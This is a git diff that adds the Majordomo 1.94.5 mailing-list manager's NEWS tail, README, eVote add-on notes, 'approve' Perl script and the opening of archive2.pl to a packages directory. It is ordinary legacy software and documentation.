messages complaining about null mailers not being +executable. + + +Changes visible to list owners: + +If a list adds its own Reply-To: header, any Reply-To: header in +incoming messages will be removed. + + +Changes visible to end users: + +Requests for confirmation have been made more detailed, and the backslash +syntax for splitting long lines has been explained in those messages. + +Confirmation messages sent by the "subscribe" command have been +improved. They contain more reasons why a confirmation request +may not be received. + + +Many more checks for illegal addresses have been included. Users are +informed when they supply only their name or otherwise supply a nonsense +address. + +The response to the who command includes a subscriber count. diff --git a/update/scripts/packages/majordomo-1.94.5/README b/update/scripts/packages/majordomo-1.94.5/README new file mode 100644 index 0000000..ded2af3 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/README @@ -0,0 +1,569 @@ + _ _ ____ _ ____ ____ ___ ____ _ _ ____ + |\/| |__| | | | |__/ | \ | | |\/| | | + | | | | _| |__| | \ |__/ |__| | | |__| + + Majordomo, noun: a person who speaks, makes + arrangements, or takes charge for another. From + Italian maggiordomo or Spanish mayordomo, both from + Medieval Latin "major domus" - "chief of the house". + (Barnhart Concise Dictionary of Etymology) + + Release 1.94.5 + README +-------------------------------------------------------------------------- + +-> Current users of Majordomo whom are upgrading will want to <- +-> read the NEWS file for details on what has changed between <- +-> this and the previous version of Majordomo. <- + + Release 1.94.5 of Majordomo is primarily a security and bugfix + release, incorporating changes which fix problems or correct + pressing deficiencies in version 1.94.4. Please read the + NEWS file for changes between versions 1.94.4 and 1.94.5 + + * * * * * * * * * * * * * * + +If you know what Majordomo is and simply want install it, read the +INSTALL file. Browse through this file, though; there's probably +something new here. + + * * * * * * * * * * * * * * + +-------------------- +* What is Majordomo? +-------------------- +From the fine Majordomo FAQ (found in Doc/FAQ), maintained by Dave Barr + : + + Majordomo is a program which automates the management of Internet + mailing lists. Commands are sent to Majordomo via electronic mail to + handle all aspects of list maintenance. Once a list is set up, + virtually all operations can be performed remotely, requiring no + intervention upon the postmaster of the list site. + + Here's a short list of some of the features of Majordomo. + + * supports various types of lists, including moderated ones. + * List options can be set easily through a configuration file, + editable remotely. + * Supports archival and remote retrieval of messages. + * Supports digests. + * Written in Perl, - easily customizable and expandable. + * Modular in design. + * Includes support for FTPMAIL. + +Majordomo is a "groupware" project. It has evolved from the initial +code base done by Brent Chapman (brent@greatcircle.com), with further +maintenance done by John Rouillard (rouilj@cs.umb.edu). The current +Majordomo maintainer is Chan Wilson (cwilson@sgi.com). + +Along the way, it has picked up many features and additions from +various authors. Because of this, and due to the initial design of +Majordomo, certain features (archiving, digesting, and moderated +lists) are currently done in a "non-optimum" fashion. In short, +configuring Majordomo to do some of the advanced features can be +confusing. This is a known problem and is being worked on. + + +You'll need the following to use Majordomo: + + o Perl, version 4.036 or version 5.002 (or better) + **NOTE** Future versions of Majordomo will *NOT* work + with perl4. + o a C compiler + +Other programs that might be useful are: + + o bulk_mailer: ftp://cs.utk.edu/pub/moore/bulk_mailer + For large lists. + + + * * * * * * * * * * * * * * + +The INSTALL file details how to install and configure Majordomo. + +Once you've installed Majordomo, the NEWLIST file describes how to add +new lists under Majordomo control. + + * * * * * * * * * * * * * * + +The rest of this README file fills in background information on +Majordomo, where to get help, find others using Majordomo, common +problems, and some other bits: + + * Attributions + * Mailing Lists/Support + * More Documentation + * The list configuration files + * Common Problems + * Error Messages + * Using Digest and Archive + * Other Programs + * Tricks + * Customizing the default list config values + +-------------- +* Attributions +-------------- + +Majordomo and digest were originally written by Brent Chapman, however +he doesn't have the time currently to do more development on it. John +Rouillard did a lot of work for configuration files and managed the +releases for the 1.62 to 1.93 time frame. Chan Wilson +(cwilson@sgi.com) is currently "release coordinator" for 1.94 and +beyond. + +The FAQ was compiled by Vincent D. Skahan and is currently being +maintained by David Barr . + +In addition to those above, the following people deserve recognition for +their contributions in shaping Majordomo: + + Andrew Boyd + Paul Close + R. Gary Cutbill + Hamilton Gilbert + Jennifer Joy + Alan Millar + John C. Orthoefer + Jerry Peek + Paul Pomes + Jason L Tibbitts III + Dave Wolfe + +To anybody I left off the attributions list, my apologies. Let me know +that I left you off, and I will make sure that you get mention in a +future release. + +----------------------- +* Mailing Lists/Support +----------------------- + +There are four mailing lists about Majordomo on GreatCircle.com. +The wise Majordomo-Owner is strongly advised to subscribe to +Majordomo-Announce to learn of new versions and patches to Majordomo. +This list is very low volume. + +People with questions about configuring, installing, or using +Majordomo should subscribe to Majordomo-Users. + +People interesting in technical discussion of Majordomo, and +developments on it, should join Majordomo-Workers. + + Majordomo-Users - for discussions on using Majordomo + Majordomo-Announce - for announcements of new releases + Majordomo-Workers - for people interested in development of + Majordomo. + Majordomo-Docs - for people interested in development of + documentation for Majordomo. + +To subscribe to any of the lists above, send an appropriate +"subscribe" command to "Majordomo@GreatCircle.COM". + +-------------------- +* More Documentation +-------------------- + +The 'Doc' directory contains the FAQ (Frequently Asked Questions), +which should answer most of your questions. + +In the 'Doc/man' directory, you'll find manual pages for approve, +bounce, bounce-remind, digest, resend, and majordomo. + +For your list-managers, the file Doc/list-owner-info contains some +good information. It can be sent to them and should be enough +information to get them started using majordomo. You'll want to +update it for your site-specific needs. + +'Doc/majordomo.ora' contains the chapter about Majordomo from the +Nutshell Handbook "Managing Internet Information Services," written by +Jerry Peek. The chapter is (c) Copyright 1994 by O'Reilly & +Associates, Inc., and was included in the Majordomo distribution by +permission of the publisher. + +While this chapter is a good introduction to setting up the majordomo +software, it is a tad out of date, since it covers version 1.62. :-( Jerry +is in the process of updating this for 1.94.3, and an updated version will +hopefully be included in future releases. + +The original LISA 6 (Oct 1992, Long Beach, CA) paper describing +Majordomo is at Doc/majordomo.lisa6.ps. PLEASE NOTE that it is useful +only for getting a feel for majordomo. It should not be used as an +installation document. + +You did read the FAQ, didn't you? + + +------------------------------ +* The list configuration files +------------------------------ + +Each list has a configuration file associated with it, +.config. If a list does not have it's .config file, issue a +'lists' command to Majordomo -- it'll create one for you. + +Ideally, the config file is meant to be self-documenting, but at the +moment it can be overwhelming to a novice user. This will be fixed in a +future release. The best way to learn about the configuration file is to +issue a 'config ' to Majordomo, +and carefully read through the results. Also read the +Doc/list-owner-info file, which explains some of the more commonly +tweaked variables. + +In addition to the .config file, there are .info and .intro files that +hold informative and introduction information about the list. These +files are best changed via Majordomo's 'newinfo' and 'newintro' commands. + +The file .intro contains the "intro" text for the list, +which is sent in response to "intro" and successful "subscribe" +commands. The file .info contains the "info" text for the +list, which is sent in response to "info"; it's also sent after a +"subscribe" command if no "intro" file exists. + +In a future version of majordomo, the option will be provided to keep +the info in the config file rather than using an external +file. However, the external file is useful if you are serving up the +info information by some means other than majordomo (e.g. Web, finger, +ftp). + +------------------------------- +* Common Problems and Debugging +------------------------------- +Nearly all the install problems are now caught by the 'config-test' +script that one runs after the install. + +What is left, then, is primarily incorrect usage caused by configuring +the aliases improperly, and changing the ownership of Majordomo files +after it is up and running. If you're still stuck, it's easy to turn +some debugging on. + +If all else fails, the mailing lists mentioned above are a good place +to ask for help. + +** Insecure Usage + +If you get complaints about "insecure usage" from "wrapper", then you're +probably invoking it incorrectly. The first argument to "wrapper" should +be the simple filename of the program in the W_BIN directory (defined in +the Makefile) that you want to run. You should NOT specify the full path +name to the program; as a security measure, to keep people from being able +to run anything they want with the setuid/setgid permissions of "wrapper" +"wrapper" will ONLY run programs from the W_BIN directory. If what "wrapper" +is told to run contains a "/", it assumes somebody is trying to make it run +something from somewhere else, and complains about "insecure usage". For +example, the right way to use wrapper is in something like this: + + majordomo: "|/usr/local/majordomo/wrapper majordomo" + +The WRONG way is "|/usr/local/majordomo/wrapper /usr/local/majordomo/majordomo" + +** Permissions + +Make sure you've got all the permissions right. In particular, you need +to watch for permissions of DIRECTORIES files are in, as well as +permissions on the files themselves. Almost any time Majordomo tries to +read a file, and every time it tries to write one, it tries to create a +lock file in the same directory as the file. If it can't create that +lock file for any reason (because the directory permissions won't allow +it, or because a lock already exists for that file), Majordomo waits +between 1 and 10 seconds (chosen randomly) and then tries again; it keeps +trying for (by default) 5 minutes. If Majordomo isn't working for you, +and takes some multiple of 5 minutes to fail, you've almost certainly +got a permission problem; check the Majordomo log file. If there's +nothing in the log file, then you've got a permission problem with the +log file and/or the directory it's in. + + +---------------- + +** Debugging + +If messages to a particular list are getting mangled, perhaps due to +custom headers, footers, or something else, try defining the 'debug' +variable for the list. This will cause resend (the Majordomo program +that sends the message out to the list) to *not* send the message out, +but leave it in $TMPDIR/resend..out. You can then examine +the message contents. + +If you suspect something deeper is amiss, then put '$DEBUG = 1;' in +your majordomo.cf. This causes Majordomo and resend to spew debug +messages to $TMPDIR/majordomo.debug and $TMPDIR/resend.debug, +respectively, but operate as normally. If you invoke your mailer in +verbose mode ('Mail -v' or 'mail -v' will hopefully do this) then +debug output will get sent to your terminal instead of the files. + +Finally, if you're up to mucking around in the perl code, symlinking +perl into ~majordomo and invoking it via wrapper will give you a debug +environment with Majordomo's permissions and view of the world: + + ~majordomo% ./wrapper perl -d majordomo + +Now set breakpoints, type 'continue', give it a valid email header and +the desired Majordomo command. The only header that you need is a +valid "reply-to" field. The rest is up to you. + +* Error Messages +---------------- +Majordomo now catches most of problems that plagued earlier versions; +disk space shortages, permissions problems, other resource problems. +When at all possible, a comprehensible email is sent to the +Majordomo-Owner, who should be able to fix things. List-specific +problems are usually sent to the list-owner. Before attempting to track +down errors and checking debug logs, be certain that running "wrapper +config-test" as a normal user reports no problems. The config-test code +will detect most common causes of errors. + +Here's most of the error messages that Majordomo will return, and an +explanation of why they might be seen: + +MAJORDOMO ABORT - This error occurs anytime some anomaly occurs during + the majordomo run. It causes majordomo to send an error message to the + majordomo owner, and exit immediately. No further commands in the + input message are processed. Mail is sent to the originator of the + message that caused the abort consisting of the output from all command + in the message that had succeeded before the abort. The types of + errors that cause an abort are shown below. + + Hostile Address -- somebody submitted an address that majordomo deemed + to be a potential security problem. Some mailers will execute any + command line appearing after a vertical bar, and will use addresses + beginning with a dash as an option instead of an address. In + addition, if the addresses matches an existing file, the mailer may + attempt to overwrite it. For these reasons, majordomo will refuse to + process such addresses. Majordomo will do additional checks on + messages containing '/' characters to verify that they are correct + X400 addresses; these checks may be disabled in majordomo.cf. (See + $no_true_x400 and $no_x400at.) + + Non-domained Address -- an address was submitted that was of the form + user@host without a fully qualified domain name. Addresses of this + form are usually caused by either confused users or improperly + configured mail transfer agents. If your host is generating them, it + is misconfigured. + + Can't open/append/read -- for some reason majordomo can't + open/append/read a to a file that it was supposed to be able to + access. Usually this is caused by improper permissions. + + chmod(, link(, operation not permitted -- the corresponding chmod or + link operation failed when it shouldn't have. Usually this is caused + by improper permissions, most often on the wrapper. Make certain + that it is installed setuid, and that "wrapper config-test" run as a + normal user (not root or the majordomo user) reports no problems. + + Can't invoke -- the program majordomo wanted to invoke to send mail + couldn't be invoked. This error is usually only seen when you are + tracing the SMTP connection using /usr/ucb/Mail -v. + + Can't connect to sendmail -- for some reason the attempt to run + sendmail in the function resend_sendmail in the resend program + failed. + + mailer not executable -- either the configured mailer did not exist or + could not be run; make certain that config-test reports that the + mailer is properly accessible. Bugs in previous versions caused + errors of the form "mailer -fMajordomo-Owner not executable." These + bugs should be fixed; please report any occurrences of this type of + error just in case the bugs persist. + + mailer exited unexpectedly with error XX -- it is expected that the + mailer will return a zero exit code upon success, so any nonzero + code is reported as an error. The mail may or may not have been + properly sent to your list. To track down the source of this + error, first inspect the debug logs (see Debugging below) to see + if the mailer emitted any diagnostics. Failing that, consult your + mailer's documentation for the meaning of the exit status, or if you + use Sendmail, consult the chart below for some of the more common + errors: + + 64 - EX_USAGE - Sendmail uses this to indicate a command line usage + error, but it also uses it to report a general error condition. + Some versions of Sendmail do this somewhat unpredictably and for + this reason the '-oee' flag has been added to the default mailer + definitions. This flag should prevent these errors for versions of + Sendmail that support it. + + 67 - EX_NOUSER - The alias that is used to send out list mail (which + is passed as the last argument on resend's command line) does not + exist. Make certain that there are no typographical errors in your + alias file, and that the file has been properly rebuilt. + + 69 through 74, 77 - These are generally serious errors that are + caused by either lack of resources or improper configuration of + Sendmail. You should consult the Sendmail documentation. + +unknown mailer error XX - This can be caused by a number of things all + relating to the wrappers inability to execute the perl script. + This can include: + + the perl script is not executable + the location of the perl program specified with the #! + line is incorrect + the location where the wrapper looks for the perl + scripts is not the location where the scripts are + located. + + The current wrapper doesn't use the standard sendmail error + codes, hence the "unknown mailer error" annotation in the + error message. A future wrapper version will use the + appropriate errors from sysexits.h. + + +-------------------------- +* Using Digest and Archive +-------------------------- + +Digesting and Archiving will be integrated into Majordomo soon. In +the meantime, they require setting up additional aliases and +configuring a few other things. + +For digests, read the README.digest and quick-digest-setup files in the +Doc subdirectory, as well as the manual page in Doc/man + +For archiving, there are three archive programs available. The best one +to use is called archive2.pl, and it is present in the main Majordomo +directory. (If you'd like to use one of the other archivers, be sure to +move it to, or make a link to it in, the main directory.) Comments at +the top of the file explain all the options available, and here's a brief +extract that details what most people want: + +# A sample /etc/aliases file entry to use "archive" add each incoming message +# to a "my-list.YYMM" file in the "/usr/local/mail/lists/my-list.archive" +# directory: +# +# my-list-archive: "|/usr/local/mail/majordomo/wrapper archive2.pl +# -f /usr/local/mail/lists/my-list.archive/my-list +# -m -a" + + +---------------- +* Other Programs +---------------- + +The "bounce-remind" script should be run out of cron using a line similar to: + + 10 2 * * * /tools/majordomo/wrappers/bblisa/wrapper bounce-remind + +This sends mail to all of the people on the bounces list to warn them +that they are no longer on the lists they thought they were on. + +The "medit" program is used to hand edit the mailing list files, but +it locks the files first so that majordomo won't touch them while you +are editing them. You may need to edit this program and change the +location of the majordomo.cf file if the majordomo.cf file is not +accessible as /etc/majordomo.cf). + +The "new-list" is used when starting a new list. Often there is a +flood of mail when a list starts up. If you wish to allow a grace +period for people to subscribe before actually putting the list +"on-line", the new-list script can be put at the list address, and it +will notify people that the list is not yet open for business. + +The "request-answer" program attached to the "-request" address for +the list sends back a recording telling folks how to use the Majordomo +address for their requests, or how to contact a human if they really +need to. You can use majordomo with the -l option to sit at the +-request address instead of using request-answer if you like. + +The "approve" program is intended to be used by a mailing list +administrator to approve messages send by majordomo or resend. + +The "bounce" program removes an address from an active majordomo list, +and subscribes it to the bounces list. This is used when mail to the +address starts bouncing. + +-------- +* Tricks +-------- + +This section has a few tricks when using majordomo and resend. + +1) How do I maintain the restrict_post file for resend? + + The easiest way is to create a pseudo list in majordomo. The file + that contains this list if the file name used for the -I flag to + resend. For example the filename "-can_post" can be + created in the majordomo mailing lists directory. This list should + be unadvertised and closed. Don't bother creating any sendmail + aliases for it. This allows people to be added to or removed from + the list using majordomo commands. + +2) How can I have more than one moderator/owner for a list? + + Again majordomo is your friend. Create a mailing list called + "-owner". Again create it nonadvertised and closed. + Set up the appropriate aliases for the list: + + owner-listname::include:/usr/local/Lists/-owner + listname-owner:owner-listname + owner-owner-listname: owner-majordomo + + and you are done. + +3) I run smail. How do I set up majordomo to work in this environment? + + Just set $sendmail_command to /bin/smail in your majordomo.cf. + + It has been reported that by default smail does not understand the + :include: syntax, and that can be fixed by adding the following to + /etc/smail/directors: + + aliasinclude: + driver=aliasinclude, + nobody; + copysecure, + copyowners, + + (Thanks to Steve Casey for this information.) + + +------------------------------------------------ +* Customizing the default list config values +------------------------------------------------ + +The default values of the list configuration files are taken from the +file 'config_parse.pl' in the associative array %known_keys. + +It's best to read the above section _The list configuration files_ and +the Doc/list-owner-info file, as well as carefully reading an existing +list configuration before continuing. + +If you want to change the defaults, change the values assigned to each +keyword. There is some documentation in the config_parse.pl file. The +config_parse.pl file is also a man page describing the programmatic +interface to the config file parser and some other details about the +config file parser. + +Paul Pomes p-pomes@uiuc.edu suggests the following as replacements for +the message_fronter and message_footer default values. I haven't +tested them, but they may be useful: + + +'message_fronter', '#! local($TEMP) = $list; + if ( $list =~ /-digest$/ ) { + $TEMP =~ s/-digest$//; + "In this issue:\n\n\t_SUBJECTS_\n\nSee the end of the digest for information on subscribing to the $TEMP\nor $TEMP-digest mailing lists.\n"; + } else { + ""; + }', +'message_footer', '#! local($TEMP) = $list; + if ( $list =~ /-digest$/ ) { + $TEMP =~ s/-digest$//; + "To subscribe to $TEMP-digest, send the command:\n\n\t + subscribe $TEMP-digest\n\nin the body of a message to \"Majordomo@ + Majordomo.cso.uiuc.edu\". If you want\nto subscribe something + other than the account the mail is coming from,\nsuch as a local + redistribution list, then append that address to the\n\"subscribe\" + command; for example, to subscribe \"local-$TEMP\":\n\n\tsubscribe + $TEMP-digest local-$TEMP@your.domain.net\n\nA non-digest + (direct mail) version of this list is also available; + to\nsubscribe to that instead, replace all instances of + \"$TEMP-digest\"\nin the commands above with \"$TEMP\"."; + } else { + ""; + }', + +Note that the strings are all one line long. I have wrapped and broken +them here for ease of viewing. + +-------------------- diff --git a/update/scripts/packages/majordomo-1.94.5/README.eVote b/update/scripts/packages/majordomo-1.94.5/README.eVote new file mode 100644 index 0000000..5584b22 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/README.eVote @@ -0,0 +1,81 @@ +eVote is a majordomo-addon that allows the list's members to take +polls. It attaches to a majordomo-run email list by insertion into +the alias: + +sample: "|/usr/local/majordomo/wrapper eVote_insert resend ..." + +You can get the free Linux-ready software, in French or English, at +http://www.deliberate.com or you can join a fiddle@deliberate.com +majordomo-run list to play with it. + +eVote also provides support for multi-lingual web/email petitions +(English, French, and Spanish). + +eVoted Email Lists +====== ===== ===== + +eVote-enabled email lists feature: + +* Polls are initialized and administered by the members of the email + list with overriding powers given to the list's owner. + +* Members can change their own votes -- until the poll closes. + +* Poll types supported are: + + "Yes/No" votes or "Numeric" votes. + + "Single" items or "Grouped" items, examples being "Vote for One + of the Next Five" and "Distribute 20 Votes over the Next 10 Items". + +* 3 secrecy options: + + "Public" items: Members can see how other members voted. + + "Private" items: Votes are secret. + + "If-Voted" items: Members can see IF but not HOW others have voted. + +* The vote tally can be displayed while the poll is open, or hidden + until the poll is closed. + +How it works: eVote attaches to the email list in the alias file. Most +messages sent to the list's address are broadcast to the list as +usual. However, messages that start with the word "eVote" are scooped +out of the message stream and processed by eVote. + +eVote Petitions +===== ========= + +eVote provides support for multi-lingual petitions that are signed and +administered by email. + +* Allows only one signature per email address. +* Verifies email addresses by email receipt. +* Provides bounced mail support. +* Allows the signer to remove his own signature. +* Provides optional display of signatures. +* Integrates with remote WWW sites. +* Signatures are collected from the web site via Javascript. +* Customized html reports are updated automatically via ftp. +* Supports email forms as specified by the initializer of the petition. +* Provides remote initialization and administration of petitions. +* Optionally integrates with Majordomo allowing petitions to be + administered by committee. +* Software limited to over 4 billion signers. + + +The Clerk +=== ===== + +The Clerk is the underlying vote-server that maintains the data for +all eVote's interfaces. There is no other database server involved. + +The Clerk is an object-oriented C++ specialized database server, +specialized in that it can only serve vote data. It has no flexibility +in the data types it can store as do generalized relational or +object-oriented database servers. + +What is lost in flexibility is gained in automation: control of each +datum is given to the person who contributes it; the data are +maintained completely automatically. The administrator is not +involved. + +Questions? Write marilyn@deliberate.com. + +http://www.deliberate.com diff --git a/update/scripts/packages/majordomo-1.94.5/approve b/update/scripts/packages/majordomo-1.94.5/approve new file mode 100644 index 0000000..ce5727a --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/approve @@ -0,0 +1,252 @@ +#!/bin/perl + +# Approve Majordomo requests or "resend" bounces. +# +# Given arguments, approves the requests in those files; +# given no arguments, reads standard input. +# +# If the "Subject: " line is "APPROVE ", the message is treated as +# a request for approval from Majordomo. An appropriate command is generated +# and mailed to Majordomo to approve the request. +# +# If the "Subject: " line is "BOUNCE : ", the message is treated +# as a posting rejected by "resend" for some reason, and is reformatted with +# appropriate "Approved:" headers to cause it to succeed, then resubmitted +# for posting. +# +# Assumes that the "approve" password for each list is the same as the +# "approval" password used by "resend", and that this password is stored +# in a file called ".majordomo" in the user's home directory, in the +# following format: +# +# List Password Majordomo-Address +# +# Assumes that the "Majordomo-Address" field is an Internet-style +# "something@somewhere" address, and that postings for "List" should +# be sent to "List@somewhere". +# +# Here's an example of what a .majordomo file should look like: +# +# this-list passwd1 Majordomo@This.COM +# other-list passwd2 Majordomo@Other.GOV +# +# If, for instance, /tmp/request contains a standard request from Majordomo +# to a list manager, such as: +# +# From: Majordomo@This.COM +# To: this-list-approval@This.COM +# +# User@Fubar.COM (Joe User) requests you approve the following: +# +# subscribe this-list User@Fubar.COM (Joe User) +# +# If you approve, send a line such as the following to Majordomo@This.COM: +# +# approve PASSWD subscribe this-list User@Fubar.COM (Joe User) +# +# Then, if you run "approve /tmp/request" or "approve < /tmp/request", the +# following message will be sent to Majordomo@This.COM: +# +# To: Majordomo@This.COM +# +# approve passwd1 subscribe this-list User@Fubar.COM (Joe User) +# +# Brent Chapman Great Circle Associates +# Brent@GreatCircle.COM 1057 West Dana Street +# +1 415 962 0841 Mountain View, CA 94041 + +# $Source: /sources/cvsrepos/majordomo/approve,v $ +# $Revision: 1.15 $ +# $Date: 1997/04/05 19:18:36 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +$MAILER = '/usr/lib/sendmail' if -x '/usr/lib/sendmail'; +$MAILER = '/usr/sbin/sendmail' if -x '/usr/sbin/sendmail'; + +die "Couldn't find a sendmail to invoke, please define!" + if !$MAILER; + + +use Getopt::Std; + +getopts("df:") || + die("USAGE: approve [-f ] [-d] [ ...]\nStopped"); + +if (!defined($opt_f)) { + $opt_f = "$ENV{HOME}/.majordomo"; +} + +&read_config(); + +# Read the headers. Look at the "Reply-To:" header to figure out where to +# respond to. Look at the "Subject:" header to figure out if this is an +# APPROVE or a BOUNCE request. + +if (@ARGV) { + foreach $file (@ARGV) { + open(FILE, $file) || (warn("can't open \"$file\"; skipping"), next); + &process_file(FILE); + close(FILE); + } +} else { + &process_file(STDIN); +} + +exit(0); + +sub process_file { + local($FILE) = shift; + local($reply_to); + local($subject); + local($request); + local($list); + + while (<$FILE>) { + s/\n$//; + if (/^reply-to:/i) { + s/^\S*:\s+//; + $reply_to = $_; + $reply_to =~ tr/A-Z/a-z/; + next; + } + if (/^subject:/i) { + s/^\S*:\s+//; + $subject = $_; + $subject =~ tr/A-Z/a-z/; + ($request, $list) = split(/\s/, $subject, 2); + $list =~ s/:.*//; + next; + } + if (/^$/) { + last; + } + } + + # we've read the headers, so we should know now if this is an "APPROVE" + # or a "BOUNCE" that we're processing. + + if ($request eq "approve") { &process_approve($FILE); } + elsif ($request eq "bounce") { &process_bounce($FILE); } + else { + warn("unknown request type '$request' in file '$file'; skipping"); + } +} + +sub process_approve { + local($FILE) = shift; + while (<$FILE>) { + if ((/^\tsubscribe\s/) || (/^\tunsubscribe\s/)) { + if (!defined($reply_to)) { + warn("No \"Reply-To:\"; exiting"); + exit(1); + } + s/^\t//; + split; + $list = $_[1]; + $list =~ tr/A-Z/a-z/; + $passwd = $passwd{"$list\@$reply_to"}; + if (! $passwd) { + warn("no password for list $list; skipping \"$_\""); + next; + } + if (defined($opt_d)) { + open(MAIL, ">&STDOUT"); + print MAIL "-" x 20, "\n"; + } else { + open(MAIL, "|$MAILER $reply_to") || + die ("open(\"|$MAILER ...\"): $!"); + } + + print MAIL "To: $reply_to\n\n"; + print MAIL "approve $passwd $_"; + close(MAIL); + last; + } + } + print STDERR "Mailed approved command to $list list.\n" + unless defined $opt_d; +} + +sub process_bounce { + local($FILE) = shift; + local ($from_skipped); + + # we've already skipped the header, so set up to approve the message + + # first, figure out where to send it + if (defined($reply_to)) { + # if there's a "Reply-To:" field set, use it. + $post_to = $reply_to; + } elsif ($list =~ /\@/) { + # if the list name already appears fully qualified, use it + $post_to = $list; + } else { + # Well, can we figure it out? + if ($site{$list} eq "MULTIPLE") { + warn("Can't distinguish between multiple lists named '$list'\nSkipping '$file'"); + return; + } else { + $post_to = $list . "\@" . $site{$list}; + } + } + + if (!defined($passwd{$list})) { + warn "Can't find password for list $list, Stopped"; + return; + } + + if (defined($opt_d)) { + open(MAIL, ">&STDOUT"); + print MAIL "-" x 20, "\n"; + print MAIL "To: $post_to\n\n"; + } else { + open(MAIL, "|$MAILER $post_to") || die("open(\"|$MAILER...\"): $!"); + } + + print MAIL "Approved: $passwd{$list}\n"; + + while (<$FILE>) { + if (/^>?From / && ! defined($from_skipped)) { + # Skip any initial "From " or ">From " line + $from_skipped = 1; + next; + } + s/^~/~~/; + print MAIL $_; + } + close(MAIL); + print STDERR "Mailed approved message to $list list.\n"; +} + +sub read_config { + local($l); + local($p); + local($m); + local($s); + open(CONF, $opt_f) || die("open(CONF, \"$opt_f\"): $!"); + while () { + s/\n$//; + s/#.*//; + if (/^$/) { next; } + split; + $l = $_[0]; $l =~ tr/A-Z/a-z/; # list + $p = $_[1]; # password + $m = $_[2]; $m =~ tr/A-Z/a-z/; # majordomo@site + split(/\@/, $m); + $s = $_[1]; $s =~ tr/A-Z/a-z/; # site + + $passwd{$l} = $p; + $passwd{"$l\@$m"} = $p; + $passwd{"$l\@$s"} = $p; + if (defined($site{$l})) { + # if it's already defined, there's more than one list by this name + $site{$l} = "MULTIPLE"; + } else { + $site{$l} = $s; + } + } + close(CONF); +} diff --git a/update/scripts/packages/majordomo-1.94.5/archive2.pl b/update/scripts/packages/majordomo-1.94.5/archive2.pl new file mode 100644 index 0000000..8f857bd --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/archive2.pl @@ -0,0 +1,188 @@ +#!/bin/perl + +# Copyright 1993, D. Brent Chapman. All Rights Reserved. For use by +# permission only. +# +# $Source: /sources/cvsrepos/majordomo/archive2.pl,v $ +# $Revision: 1.11 $ +# $Date: 2000/01/07 11:00:49 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# +# archive -f {-u|-a} [-d|-m|-y] [file ...] +# -f REQUIRED; specifies base file name for archive +# -u Input is a UNIX archive (separated by "From " lines) to split +# -a Input is a message to append to archive +# -d Archive file is .YYMMDD +# -D Archive file is .YYYYMMDD +# -m Archive file is .YYMM +# -M Archive file is .YYYYMM +# -y Archive file is .YY +# -Y Archive file is .YYYY +# Exactly one of "-u" or "-a" must be specified. +# At most one of "-d", "-D", "-m", "-M", "-y", or "-Y" may be specified; +# if none is specified, archive name is simply +# +# An example of using "archive" to split an existing UNIX-style archive +# named "my-list.archive" into by-day archive files named "my-list.YYMMDD": +# +# archive -f my-list -d -u my-list.archive +# +# A sample /etc/aliases file entry to use "archive" add each incoming message +# to a "my-list.YYMM" file in the "/usr/local/mail/lists/my-list.archive" +# directory: +# +# my-list-archive: "|/usr/local/mail/majordomo/wrapper archive +# -f /usr/local/mail/lists/my-list.archive/my-list +# -m -a" + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +($program_name = $0) =~ s|.*/||; + +# Change directory to our home +chdir($ENV{'HOME'}) if $ENV{'HOME'}; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +use POSIX qw(ctime); +require "majordomo_version.pl"; # What version of Majordomo is this? +require "majordomo.pl"; # all sorts of general-purpose Majordomo subs +require "shlock.pl"; # NNTP-style file locking + +$hostname = &chop_nl(`hostname`); +&set_abort_addr($whoami_owner); +&set_log($log, $hostname, $program_name, "UNKNOWN"); + +# Here's where the fun begins... + +use Getopt::Std; + +$m = 1; +foreach (@ctime'MoY) { + $MoY{$_} = $m++; +} + +$usage = "Usage: $0 -f {-u|-a} [-d|-D|-m|-M|-y|-Y] [file ...]"; + +getopts("f:uadDmMyY") || die("$usage\nStopped"); + +if (!defined($opt_f)) { + print STDERR "'-f ' required\n$usage\n"; + exit 1; +} + +$sendmail_command = $sendmail_command || "/usr/lib/sendmail"; +$bounce_mailer = $bounce_mailer || "$sendmail_command -f\$sender -t"; +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); +&set_log($log, $hostname, $program_name, $opt_f); + +if (defined($opt_a)) { $mutex++; } +if (defined($opt_u)) { $mutex++; } +if ($mutex != 1) { + print STDERR "Either '-a' or '-u' required\n$usage\n"; + exit 2; +} + +$mutex = 0; + +if (defined($opt_d)) { $mutex++; } +if (defined($opt_D)) { $mutex++; } +if (defined($opt_m)) { $mutex++; } +if (defined($opt_M)) { $mutex++; } +if (defined($opt_y)) { $mutex++; } +if (defined($opt_Y)) { $mutex++; } +if ($mutex > 1) { + print STDERR "Only one of '-d', '-D', '-m', '-M', -y', or '-Y' allowed\n$usage\n"; + exit 3; +} + +if (defined($opt_a)) { + ($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst) = + localtime(time); + &open_archive(FILE, $year, $mon + 1, $mday); +} + +while (<>) { + # remove Approved header (Doh!) if present and still in the header. + next if /^Approved:/ && $. < 30; + if (/^From\s/) { + if (/^From\s+\S+\s+(Sun|Mon|Tue|Wed|Thu|Fri|Sat)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+\d\d?\s+\d\d?:\d\d:\d\d\s+\d{2,4}\s*$/i) { + if (defined($opt_u)) { + if (defined($is_open)) { + print FILE "\n"; + &lclose(FILE); + } + &open_archive_unix(FILE, $_); + } + print FILE "$_"; + } else { + print FILE ">$_"; + } + } else { + print FILE $_; + } +} + +print FILE "\n"; +&lclose(FILE); + +sub open_archive_unix { + local($FH) = shift; + local($from) = shift; + local($junk, $addr, $dow, $moy, $dom, $time, $year, @rest); + + ($junk, $addr, $dow, $moy, $dom, $time, $year, @rest) = split(/\s+/,$from); + &open_archive($FH, $year % 100, $MoY{$moy}, $dom); 